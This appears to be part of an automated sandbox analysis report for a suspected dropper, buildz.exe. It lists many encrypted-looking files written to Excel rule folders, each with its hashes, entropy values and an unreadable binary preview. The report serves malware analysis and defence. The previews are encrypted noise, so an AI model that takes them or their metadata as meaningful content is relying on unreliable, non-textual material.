Preview:	<?xml..A<.:te7'q...l{\|.^\|$....<Y.v.j.g..@..\|x.(....\..%.....N..%Y.7].GI....H.......y..........!.PPC.Y.....a.m.J..0.:.k....)&-...{..31......D.+..IG\.J..r......15..x.{D..3.....r90#?4.$Y.y...T...$.a.Z.{@..ZP..cg1.nxWV......B..\|...K......M..](.N!QL.%.`;.}.N,..t.[9k..J...6I\..!...4n.Y.gp..L^.E..;..;.6.GF\.b..J.n...eN........`(7L.q/Ta..C......,..\|..~A.W...h .&.[C./.N.H{.....>...F.vf.#......`.if...-XS..E.)B..]....x/..^:{.....a..&......iI..jB)<..m.B.....a./.......fa.........:ea.d6....@..'.>~..5;F..}Qp......{.l.CW..<g...w.M._O.......<b.`/..\|.....YQ....Q\|.e<...%.Y..jA.n_.t?n..#f.Vb.4.D.N.p~.,O.,].....J.yn~f.6.QCA.c..(.hz...A.c.L.F.^..F..G..YE%..B..+r..,z[.]}.......\|9[I.D....^..-....SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule100114v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	794
Entropy (8bit):	7.769756300211373
Encrypted:	false
SSDEEP:	12:nuAT3+uQt29nld5O7eNAc0pbAYNybVf2xzteEnUzUBL2AC0YSNr/v411+cii9a:n9+uQt25tYg12xnUzUNbC0PpZbD
MD5:	42E808C515A4276D4ECD79C39647D2F3
SHA1:	D8505A3CEEBD0E5916F0072192BA435C555E00A2
SHA-256:	CADF5CC4048E2C38E8DB84988221AC3EA6772BCBB48766140FB82A0E022A78AC
SHA-512:	5E98731A652C993C9492DB2AA65215520865B962C0BE38999543851799F91AF681A974EF834A7E3FF90CBE2F2C901F79516B894692009C7FF56D26E800D001C4
Malicious:	false
Reputation:	unknown
Preview:	<?xml.9L]......./l9.a...s......z.9......cxI.f_z:d0.6..<p).l..........X+.M....f....F.\.k..!.!K..X.m7...9....tARL..b...Y..y.9..D.`........W.\......q.L..O....;..4b.&T........\...w.n..B..=.~.......<~.+.d/T{tr...{..r...8.(...w.J..l.euw}e%$..tIz. G./ K...b...."...7#h..i.7Z.\hf.4H+.....8..7>.....y..t....y..,.U.).#....'..8o..[..:.$_#..d........p.&U....3..,.N.S......05..w.tY\|....?u.....Wsy..,Ni...@........G^.....l..dGb;]..ihuwy.-6..s..T.....qFn1i$.Y/...U.d....C..a...aEgz..&...{hX......R.}.j.w..,.......$....&.@..<s.o<eJ....C.........;.>5.<.."..L.o2.........n.[.[.L._vU........%.Z+.... L.....C...f....]Y....r. c...-hx_v.....R..k..',..6..~..kQ.........vr..{..../U....{.\|^...SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule100115v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	793
Entropy (8bit):	7.733848422655199
Encrypted:	false
SSDEEP:	12:Ex50rem0GNyXM3ZxfK5sSKJxykZRNbln2xk31Ut8+PoB3XQYCIV1+cii9a:Eb0eIUvsttRNJ4a3PkbD
MD5:	739FC83DB51ABEBBD957EBC2C33295DC
SHA1:	A7D0A4B6AD1A980ACBFF2BC23E108A4FA7DBE752
SHA-256:	461CA0821A90A0D77B964F216EA5F96A4C28D3AB019DB98E2CBB953082C81E17
SHA-512:	2309A2F104D001D0D257F4FEA5A5CD7929BC07E33812D63F7B5A0AD7913F2EDE1DBEAF82C36EBA2C5DDA6B08ABB8FBC15A447378B3B240B6C99EC5ABDE84C683
Malicious:	false
Reputation:	unknown
Preview:	<?xml..kUL...t.K..... @...?;)..Z.\|....6....Y...(.F.Jg. .d.QIy...x..._U..K....G..f. !..k...1<.b.....Q..tN.md..3..P.:.}.....\.2...8.. ...Q5.q..i.j.kL..2".,..'...G:...O...Kg..L..#.......?.....3\|.er..........K..0..)-..f@W..2\|a.n(.[..V7.T.>...........%.zQ.J....,..$#.6..o......9~.'.B......R......v...Y.s.......M.?.....~.%v.d\L.'_..1..7.r.V.W....z1.'.eK2..}...2.-9....+.0...A...9..f...$.......A..>A..t........4......'..8.M{r..0.....x$.;...a.Wzo...o..7..7l.@..1Ht'...8...N.9I.....i..M.....Y8..,.[ r........q0..\|...2#Q;6..^$f......H.(.K;}.f..[&<.%.jG.`..6.5P)..[.g:.@..pG..?@].5@.*.o.....r!............E...y.e+..a..G/k..0t.jpk?W.Kd.9..q%4\0.6Q ...l..5.4...\|...a.......awI.<..q...D..FbG.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule100116v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	795
Entropy (8bit):	7.703392603767985
Encrypted:	false
SSDEEP:	24:ZEuyfhwrLwwkW69XjpJh4gDywK19aBmHzJObD:ZEuyOzkttJH5K1gKJsD
MD5:	AD48DDC0015E3817FB5CF12BBAE9E684
SHA1:	7D374FC3259A247C15854A7E6746EA2D6501CE66
SHA-256:	9F22174B79D5C11171EDBFE41BE536B15C5297DB72DA353B4AA638CED293FC43
SHA-512:	F274C9F785A98E4698A677B0400371480EAF37EB5E7E30C63A2030BEBDD47A057C046621BDA58086EB7BD15CAD037630E0C223B2590177A90F70D4043C7ADBF0
Malicious:	false
Reputation:	unknown
Preview:	<?xml.uh..jx.p...x?:q..L.d.....~....GO.l.t......hQ....Z.........(.I.5<.....1.a.....j.....(...cqDB......6c{<D"...)..0.Y"..,.o.Dlg.B]..#D=...9..-4.=..J.'...9.a...>...3.....5.~..iF(.....Y..mo..L...$..A..fF.m.x...P....c.~.......)gX.\|\. ..+..D3B_..yQ[ds.....'..x.W...`4..........a..>..x..`.........v..n......`r..LR...4_Z-......$...h.....-.L..........!y....C6.6Q....?...i.>...6.a...WCXq.:YlhlmM..g?..^....;....(%.4Y.GMc^..c<.9...F......5...Zf..M....a.N.......1(u.8..p...P4.$.....<..BE...5...d.,.T....H...s"EL.g^.4.&...}3S..v..>G....... ....Oc.:..J.......@X.yo...fr.....E.H..l]..&1.`..........0<.C....M!...Y..Y......;9ldp..Oz:....%."..56F.]:.~.9.@...,.O.V.h..2..c).B..., ..Ua .)E])^SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule100117v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	869
Entropy (8bit):	7.766024839631534
Encrypted:	false
SSDEEP:	24:oUZRvDnuJQd7MoH15eoM+q42NKFMDgfUbD:zvvLx7MoH157M+q4SKFMDjD
MD5:	3156B0211D1C78BDAFE8D24C39CF4250
SHA1:	C3983B750931A9A9722047859F36EB8F79E0E0B2
SHA-256:	687F79152D14BA15337D29F5CC3CD27B4F731F8CD33CA0C8BBD102D72C4C8D51
SHA-512:	91FF6247BADCEE55426C77DE3382488B70021757AF9F8D0D1691B728C2AFB92E6398FACCC38C81A46694C33D91AC7683D0961D9E285B0076CB259196AC24B80B
Malicious:	false
Reputation:	unknown
Preview:	<?xml...`.-..gH.......4?...q."q....$.9rn....z.-\"s.DM...&I<.J.Rk.=Z\........1.v..p.....8%q.4.+^....\.m..I.$.....B.x.1.1.c.HFy..dI..FvD.%..._..l.%....=...b....z......'...D0....]'...UJ.lZ$....P.@.,.......x.:-.T...0.>.L..w..;.3...c...t.<=......>dn;i.x..U..../.'u.)..A.j.<..y....T=.......a.e....'....;..A.Z.X..\Z..3.._._..qH~O.b..N.M..8X........v<..@...-..b.=%..x..e..$m.a..$j......F"..s.../.....6 .WYl'......=o...y{.....G..tB..fzh.4....tXxB..iQ,L.Z..."..GH...7<........WX...es.-.4t.i.d.....-G.f..6....A.x...)..%....%k.k'...._.......~(.4^.Iyo.....R...P...#D......x..~..~..Vy..5.V%.!E.(<I.Yf...5.l.\...'.;\x;\|.(.9....$...!f.L...az..0~T........Y)..[8IGD.u.......t.Z....&.P.GY?..d.........C.......N.pq..................%"u.uT..v....D..V.......[Ly....]l.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule100118v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1014
Entropy (8bit):	7.807181698724222
Encrypted:	false
SSDEEP:	24:MwS8kcUyxtq7OvW9+r04o1rl0tQNdWXef//jbD:bPkcDxjs+gtlMQNdFHD
MD5:	42C31B30FEF0488317E5FC80C320FD7F
SHA1:	612F514C69D8D73C57E9A563595E7A088B699066
SHA-256:	C454918CC3F8274588A5FD5E6C1C306019EBA5BFF3035BB587B0646B65A7041F
SHA-512:	43B5AF2FC5FB0E6214D4D3CFEF351C57E717D789B36E5105022821104A780A09FF27062BDD879A96C7C0B4F67222DD2A8F5DBF808A322E367C465A6DA740BE0A
Malicious:	false
Reputation:	unknown
Preview:	<?xml..C2k..)...).3..(6.B..f,.....g.Jx..\|#T3..%.vnR.d.2e.Z..?b8j...8.v.ao)-...-N.7U...Y.."..BC:b.vp..........~.....v..06..~..TD.a..k.-%i....w...?....#..-E'.Y...JnA..=.A&V-....K3s.]....t....i.=...g.F5.j.:w.FW....0...`.!...@....t>.l.}]..Z....q.f.F36..k....>m).H.$.\...$t..5..3...5...<....Z..U.\.uL.R..5Q......iR..w?V.7.VT]cQ.-.^CB5.d.......^1=._N.z.k..5W.'.#u=h:+Q?...BO.?<.....M..EY..r..=XP.Q.:v`..m.1..y.tn.3.\|..wS..............C6.U..0.F.^S...D[.;=....-..Y..4...`a..hv1F..+H....U3..TM.sZ.(.d..[..:T./.....d..)A...I..q...w1...&.#.Wz..NN.h!.....,..DBG(5.[......'.........\H.<4..A.T...uo/..i..zk..^.5d....F.....h...c~F[........B.~......$..i.....tS.."..]7.).)..r .....\$N1.ll..3.]`......oV..N.....T['.U.U..\.J...%c.`wx..k.B(......w;..ew].....zX...3'.[.........A/a3CDF.2E.........p#...b...C...%...#.X..fviy.5..D=.Y.+.%.FS69.yh~...8.(.9<.=A$..~......Y~..Gs[(....... .5[..l...PB.+...U.i...HSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule100119v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1471
Entropy (8bit):	7.87596045208715
Encrypted:	false
SSDEEP:	24:4o1mHwZ8FS7SBigx2dimhFcW3sKQcRLDX0ZGQA0GcnI9inpEfSCYsbD:l8ASggxQiYFc2QW4GQANsnefqmD
MD5:	2DC0D9AA56B1D9BE23AAD3B20C107A33
SHA1:	8BE37427FACA13DFE97186BC8F164C44B022F2F9
SHA-256:	1AFAFA4784A69AA3B7B5E79A1E30B19B296A29BDC78455DEF4E9C5CE0A690D95
SHA-512:	2E09131F301C4A162F4769BF11674B7DE86489666A83E0A31439559D879EB31E62289B0F399781D38E3F3FDEF77EBF9ACA6CB67EC5B2F004CF01DDCD402D71E5
Malicious:	false
Reputation:	unknown
Preview:	<?xmlED.J.fZ..!.:kL..n.a.{b..o...:U..:n.($ywqx..O.#.....jy.ma.8).%U...%.n.m..0.cfN..4..._...P\|....78.<=.{...X.`.....V.i...~..+...j..l<.W..6..r.g.L...6........lfDR...So..k...L..9.j.`.>./..9.8. ...}!...."..........#ed!........5N.d.G..a...z....>.G..(r...p!.r.'.5F..%%H.^.kC..E^. .....d.@w..Y..K........3..].Q.^.../{T....>.J1...k.........n....y.........XZs..Ufa:...q...{....&.y9..y.\.OS..........a....H.z.D.....:.F....@%.mE.0.&..Yp...c.....F..&.z!.-..4.. ...m..D.....IU...#....7...Nhm.)......1...{.$.S.....#..d.i.@.',u../....\Uo^.v....Jn.N.....L..1....O.......S.;..4 .0..A...._...:.2...@..m.[....H....us'..yo...FzP.,...S......B.<.....=.2.o.i...&....n.<....4T.A...ih.i.Se,ol..?G.1.....v..D....f.}.n.v.n$q.D......8...Q..fR.~!..q.,[..-Q%......q.Wj.2......_.0K.rO...c.q......'.KZF....tJ.D.e...j..O9.2..jN...........geQh..M.r....W\|L..s>."......)......\..l....$.II.+0J..sa.....U ...z.Q.zQF..(.e....V.......C..O.B@.....)..O..G .....5/.S.].p(n

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule100124v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	743
Entropy (8bit):	7.7592303399901175
Encrypted:	false
SSDEEP:	12:P9GIbX7K6n2ashk4fl2qnTbD89Azb6ktEMR5H8LSlR9Vx4ERnTjC4w6wA7ftR95x:PAcrh2Pfl2qHD89OWktE05H86ME5TjCo
MD5:	678BB0444B77684D7C26820A08457918
SHA1:	DF03B8CDCBC5EA4D1B1A9C7E0C05C5CA46F42F87
SHA-256:	C52F62C4B2AA39A8E7BDFE199776FD6DC51E09B5959BDD73287470AA44C65496
SHA-512:	B7FCBEB7BD40DCD9853580EF34C0E8328C914B3F4C596EFB67763177D9F18E32E3DE6F082415487A3E4714B33BEC966FE76B6C56B73706321937FC6635B83C7E
Malicious:	false
Reputation:	unknown
Preview:	<?xml.G...}-r....ND..%.'Z...\.d..I..f./.....%...1.)....RL5:y.%G...C.(a(...SK...x.._...`..Ilk.R..c.5P..p....pw@.:3....!~..pk.....\....+.....A.......+V.*&..y...p.........M9..V.o.b..$IAL....l.;...d.K...i..>s..tK..C~..}..T....i>..."..S>&u..N.(..V...#]#}..q..4.@..s.....\7L ..Z.t.^..Fq$?s.X...G.....;.>...V..!J9F9i........~6^.8.,.hqS...yz...9..W.pAe....P!..\|.s..4.\|.qp.j......i.-....N..z/d`HW&...,...h2...)y.Bt8[."0g....3<..:..%.Q.S.EP%\.m...0. ^..Bw.....1..W..N..../..gq....S..G.....R$i...4.r=y...x.Jn..e.k_...l...9...8H..@..bw.1...B..].XD....!=Q.s....l7..f...<~./.~.M...u..K..=W6l..............\|.....Kc....f...9...._...R\SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule100125v2.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	843
Entropy (8bit):	7.700301043187773
Encrypted:	false
SSDEEP:	12:T/pQoCOQmXMU/sjnsEC5D3xmvOixBp53hrrob3mqWpMjZyunELh3ABA1KRNIBHCA:iE8UUwNDqHlhIb3lywyL5KRNIBH6FqbD
MD5:	737BF18D18D4EDB753A0F7EC974277CA
SHA1:	0A9618C522A71F15122F1FDF49BD7C2A6B2F6869
SHA-256:	D9F326C075D09AA5BCEDEAFEA177A9800AF30C5CF5F91168F2DAE8788D4A2209
SHA-512:	6BB9B05DD14057924060506E58E4E686FE41780487533BF4A31D02D663BDCD1E07ED9CDF2504BB50A7C25ADFA90BC7CB284BC2352CF44229D026626D2D1B9C8E
Malicious:	false
Reputation:	unknown
Preview:	<?xml..&......".b....c.....F?....<-c..<v......._Q..._Ck..e..R...5.uT..u....Ej\|..f.]zz..j......TWcL..."F..:.37W....0....h.ujF,..8....M._.Xc.a.@..K..yBK/....]E...A.n....?.<..o@.yC....E............?.X.#!V...ZM..C.q.^p%.!...0&. B..Et..a.p....Y...p.8..I..z....f..2.@.P...W.f.p.q.?.w9S......h..n.1.\|........\./.H..ev.S.m...."9a.@..8?)...V....vV...YOyc...@..da........G.E&WY+l..?......D9.ae.\@..F.s.F..E.FH ...' F.D.%...".tV#...-$..,....>T-N......$..H......SF..hwS2.^L.'Z.}W..q....;.!wYV.ew.x{..].88]...;OO.n#.c4....Z.............$zj.......\|...1q]......m..l..c.!H.*.B. .X../.C.BF...#R....\|wc.x.U..A..1.pCf.....Qw........'.%8...5Nt.).<......\|t._;......F.f.&9..J..Cp..t.!E.<.+.@.J.....s4b.v.G......_ ..Y....y%"$..9.)..SS.)6z9kSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule100126v2.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	849
Entropy (8bit):	7.744983407322648
Encrypted:	false
SSDEEP:	24:WXGeH5TtWR39gJu6tRMWdph9C+YeGaqqelCC3cVbD:c+RKJusRMkh9C+YoX0kD
MD5:	B12EEEA5B4038CD60377B2C388D02A5A
SHA1:	4CA03E1F16AD5B17CA06E1B972A3D1EC012C31B2
SHA-256:	95EA719D2C954B6DF175227F01B3E5AA39EDD6D103E142586A3087C0F6ED5C5C
SHA-512:	A66E7C9286C247B8970F3CD2485BD6C1B5CA8F6D4B540AE873EAFF8B585C50016747AAD0198158A2F1F6506CB3612E7676D07536D83425D5CA856F046CFB5F6C
Malicious:	false
Reputation:	unknown
Preview:	<?xml.....&....3s.+.s...[...A.M....tG..)..........4F................E...l6........+1?.........o..C...T.......c..,...o.......4....1.....T........v........};..o6..6Q.... ....N..jT..a.W.k.q....C.mf..2..l.8@...1.2.p..s.P<.d...B.=.^..B.. ..^..7'n....W...g..X...B...e.v.......\|.!..... .....2v./.Y.!.Ru.. ...n>.+.....1..y..^{.y.?....Q.<u.$......2....O.GO.Q..c2C.....t.......H.A.. .......@..5.+K...n?..&;.......a~..Lw.....e#..C..e.6FA.....!j.].:K........FU.c........N...Gz...~...Z..x.......W..=..9v5....B.p\|.:..}........6..f..^.....~He....<..f..G..e...mq..\|.#.w...n.f.ozM.......GNVQ.f.....;..<..F.f.....Qw{^,/....<L...`.5...d...Q..O.vg&_...A.....c2.LS.%F..QE=,...>G>.X...V......."$........T\..O+iVu...Nb<-.3"c.Nc9]6..CVh..~.7.N...E.r...M..ZMX..SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule100127v2.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	835
Entropy (8bit):	7.730415422464285
Encrypted:	false
SSDEEP:	12:y49rP3+ugd6P9GzDTHbEoeBbcZQXZXYPmio7PdbPHIoRGJ/x8nAlsKgSbu8OJo14:y6P3wUmTo5hcZcIeiMBooRKlPbkNbD
MD5:	E6EAE1C18BBF9594A2EA3B9939FF5931
SHA1:	D671303BCAEF1EE3ABB42AD9D0E978670DE4D121
SHA-256:	FD791400DDC0EB9A7B07D0A58792B192AEF69849CF07E3350C49C7A90F6EBEF8
SHA-512:	86C0730E614C6C396F431472D45885D08B3739C35765236661C33C5451B8E2B7CA4FE88ABA8A33BB8A4D691EBFDCFF9CC35E5FCCB14130045C63410E8F5B3AC1
Malicious:	false
Reputation:	unknown
Preview:	<?xml..M.:... a..#+.. -A\..%.X......a.^Nxdt........Z2..@x_C..t.7.6w.>..DV..q.t.1....E.t{J.h...0%.<s...m..%....J.W=.O>u..q..m9P.!J.?$.v..\|e.?.3..W..C;G..".m.\.{............(...........`".v..N...G..[.5[.jA.....=.?..\8...%...-.Bj.d..`l...m.L.....<.2.zKgwO...1.s.yk...2...Ey...~......1(.&$:0njg-e&........x....(N...^.0?...YO...Do.c.#.J.I...u.7E.Y....{O..Q&.zk2.RiZ6.B.......4B..........@1.._\|Ol..O...\|.TY9...;.....G.HbQ.....38.?.....~..~.xW/N.:.)G..X...zi..K5K......!.?..l..{.S.@...B.i,.Ce4....-gS...l..........1....vT_.._.`p.kv.>.EA..`u8K...i.y{8Xy..G.]v.7....V....l..v.Td...0.......W6...%..o.....P.N6.....@'7R..w;.,l..\.0..s........<..N........0r'.}P...*..Z~..`.....M..1..q`8.....UK[A.u9.......u.DF_~...iup.o..#.+.#'..QSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule100128v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.706015086187537
Encrypted:	false
SSDEEP:	12:yLFv6N/b5caiC7ceEnoNe3JyvFFyIaLjZP7e9zWF2G3piFpE7zvf1+cii9a:yLFv2iC4DnIeZ0xanZDetPFpWvsbD
MD5:	4FDCA6EB6D9A5CDE16ED680D5DBB4EED
SHA1:	FEA0597D26BD8DC855177DEA428B8AB3BC7D6A34
SHA-256:	0DB9E31AD5B5A15133111D5EFE32FB35EAEF1B0DFAF68C4E46B946340C883DE4
SHA-512:	D3699CEB215600B7507B665C9E015BE85B0A2CF3ED57B6CD0AFEB1AFAF61CC3D1E2FC2DE014FB70B3238794943130229ADFC1EAB782AA383B13F999DE8CD3684
Malicious:	false
Reputation:	unknown
Preview:	<?xml.Z..\|.).z.H..=.Am..z..........`X..P....oy)C_.......}...w../h....H]....i.&..3EyP.!...z...tuw.}.......).@..E.&.8./Z.t<1?..jzbk),U.2.......$.@rQ@..'_.5..cU..k......li,..s...=..b..e.rE!v...........I.W.y.I1.%/f...r.c..7...k[...................t.:J..@p...f.Wb..=g.%.\'..~...uY+h......)..R.....;cE.......}.!..YT.J.B.&v.]..u..-u..V.yq.y..`.p..+.....A...s.....Y. 8=.zc.!....].^c....e..j1.mQ_p.i6.:.....\..n.X....dC.........<.'..o......I...X.v..V.......m../Y..xu..o.-.M..2../.-.8..\|A0@=5{....x....%..RQ.:.\|.....h.M..Y..+.V..N..YX.d.a^...J...eW..E.N...N..\|....-....k.N..#;...jM.(..Tw.w(6..6.Z.Y..*.4..u.....A..r.k... w.%....H.?....r..R..}....SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule100129v2.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.7068148724989936
Encrypted:	false
SSDEEP:	12:Oai+K1Mn84hL+fBmagqaAFeXyYrKCu4FrIFydPm3tF7f/G5Ou2wcoQ1+cii9a:OaKin8MLQBfJaOetVs4udVXQ32wbbD
MD5:	D891220A82185039DF4FA482A053CC64
SHA1:	8C75EACF22C58431226B4A8D61D825AD723DC76B
SHA-256:	2864DEDB7C01BB948A62D8CA9E85138ED6D7BE45C49C74393EF67D2C4F3BA63D
SHA-512:	468B4D61C8000E7E31E01EA3DD682DB04C82F0B5AE19466BC796443543AA52B98BCA867CB93250CF485D9C619FABDB3A8898293E8FBAFEBA54ADA176ED9968B2
Malicious:	false
Reputation:	unknown
Preview:	<?xml.fw.+.M.]6x.H.B./..C...qsL.......N;`.6..........j....?~E....\...I8l}..g.I...{. 93 8.A..,.OEi0.q....-B.t..D.hE...X.l.S.. ..Y.T...3.1..`.1.r.gWa.>..!...;."....`.R..EG.l9.?j.....&_.\.]7.MF...-m?NXe%...v$.._.<#.0{d...p"..K..f;~L.Wi...`...qd....S.o..HldYn_.U`....f...q....S.T..q.d..Q`\gX.Q@[...Q.1..q#].........=$.....$.j.....GS. ...Z$m......P.~...z.....{.o.e..k`.....tM.f..'p.Z_.D.Et.P`........l..^.@m..."..-Njt`....U_.$p2...st..2..w....=@...,......%...$X.Ati.A...D..3.........N.jGV.....Y...K.....6...v.8.<..$.........L.H g. .B..r.nZ~.t..A....EjEEI...U..o.Dv9".\|...7..`g.4.P..)....!...T{.+.....}..7.......z...Lk...v.j......0.w^._L.c.*..SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule100130v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	819
Entropy (8bit):	7.741118281520914
Encrypted:	false
SSDEEP:	12:4ABaPX3ygAoWuf1XgtY1r/xIYBkP4B38CW2qn/ukkeS+djPtpgLjrI8+1+cii9a:OrTWuNX4YZeB49c2q/ukkeSQR+jvbD
MD5:	A0EF2BACBA1BD2CB234084E2F543BDD9
SHA1:	2ADD64DEE5894A7BBADB9F3302BF6017EA72D3EF
SHA-256:	72CE23CE6BBB6B9035B1735B48D23BE67CC0AB2AD14DB11477DBDF81EE83017C
SHA-512:	EE872527EBC68ABC6E08296C7AB456BBDD67468A1B972E057C0D41E558515F13289F403B9AA45166C6D9B706A5A1E47DC2C38CFC038D25072A5989964DF08715
Malicious:	false
Reputation:	unknown
Preview:	<?xml........i.....4...).%..]^/......O..\|...k..t.s[.a.0..a.>.o...x.KE.....;...6...RG.>.....7~....]@.j.S....<Mv....&..)P...A<.I....Deo..<...............".=.8.....T.:e..b.`...)....C~rrc..?;#`...F.vS..yp.....w... .....n.([...h....6..eL...........m.k\|.n.C.y...IP..&kh_Y..P.]V...v,...R......j./....jF`.z..x.\.y6.....{5..:.&.G..~......N.....+D...T.v#..`.....]Ma...W.(......#.....`.XY=....~..(p......w....4.'k...~...Hj...`.......zN,...$u...8\|........b..VB7..kNw...Nr~F...8...\|@...;@..6q......O.h...RN..".E.."..!HM.#~K"n1....Rf....].........e...S.:%..&#.PZ......P"<.....f.KW.G...z..7&...: .......gi4......yF.Pef...j.p../...=5xCi.-.!.J.r...;.8LRVkW.... .,.6.,Z.MhX}k3e..].Wm.I..... k..:...\|.G..b-........D.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule100131v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	747
Entropy (8bit):	7.706876986603747
Encrypted:	false
SSDEEP:	12:cvsBwIxTgynFJhU5kmcCOlTC3zZoRe+E+lvJgQiSTZmF6cMr4RoXXBGgWA1+ciik:cvTET3nFJKKNlT1E+lhgxEZmF6PcKMLr
MD5:	6C84018C1D7659F1EF03FE03EB02EC3D
SHA1:	4FB006533946FB97B3A32E5B520074D116BA532B
SHA-256:	B0FCB293D3E5F499EA43786658907CC1E68DF19C90D389F69A843F6558112E6A
SHA-512:	D99F09FC4A5B54671BABA6DB3B7E4704AAD47EDA8A706A47C9EBBA9F1289FCDFB5B2932AC2472D601CFA1477890D41CA2864E340F8BE0C6BD116D71BE9B64E99
Malicious:	false
Reputation:	unknown
Preview:	<?xml..L-...#.Gf.<N.Aao....@w.x....0.zH.g.\.z-I.7..~[.K....\..v....y'/.<..@.......lD.K\...3.~~.b0........51.E....Y...:K..[^i.&.:.S..6....X$.NH....#..Db:..=.Jb......4......J.\..........T....;6..l$.......t.Y..>..%....c0zXz.b..]G.....az....z.n..R.E....q5k..&.d.k.E.FV....D....xcd.. .....#..~...z.&.XK.=.......C..f.y.$..pv.mo...8./..Z..ch.o....$...].q.[}....%.^..'gy.......ZXL...6...%.G.6.....:3.t.f......E_ch.;A..U..lWt..N.U...z#...d....$J..G...Q+..>j...B.@V../d?..y..........7:...../.r.q7=6.)/.d.M.Q.)_}.2.."s0......m.9.....q.M. ...p.........b...{".Z+wK...."Z/$^.H..8.D..}y....:..........%..ddhD..:.}...s,....`...!FD.......]...j..P2b..`SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule100132v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	764
Entropy (8bit):	7.699976978975282
Encrypted:	false
SSDEEP:	12:zbDP9ZOao1bV/hyVJZxkWjAmdhHesSfkyuLoGumijbMdNFZvE21+cii9a:TPqaoJGjHxjAmd8sSfkPkPmiONF5EtbD
MD5:	E70CDDE12EEE7837B38D05432DAB01A6
SHA1:	17D905FD154D54013E97D0C37A00FCDE18B4E28C
SHA-256:	073E8598BD90133BD6E2E801C6D7FD461110A4956F39C53BF20F4B47F82A9A54
SHA-512:	7CA30A6DAA5E62955B278EE56584F530542A35E350AACC710DD9C9B9CB7F916B0F55468449AD15FE18E1FBBCA37F9E797B8182CAF76D920F16B006BEC691E886
Malicious:	false
Reputation:	unknown
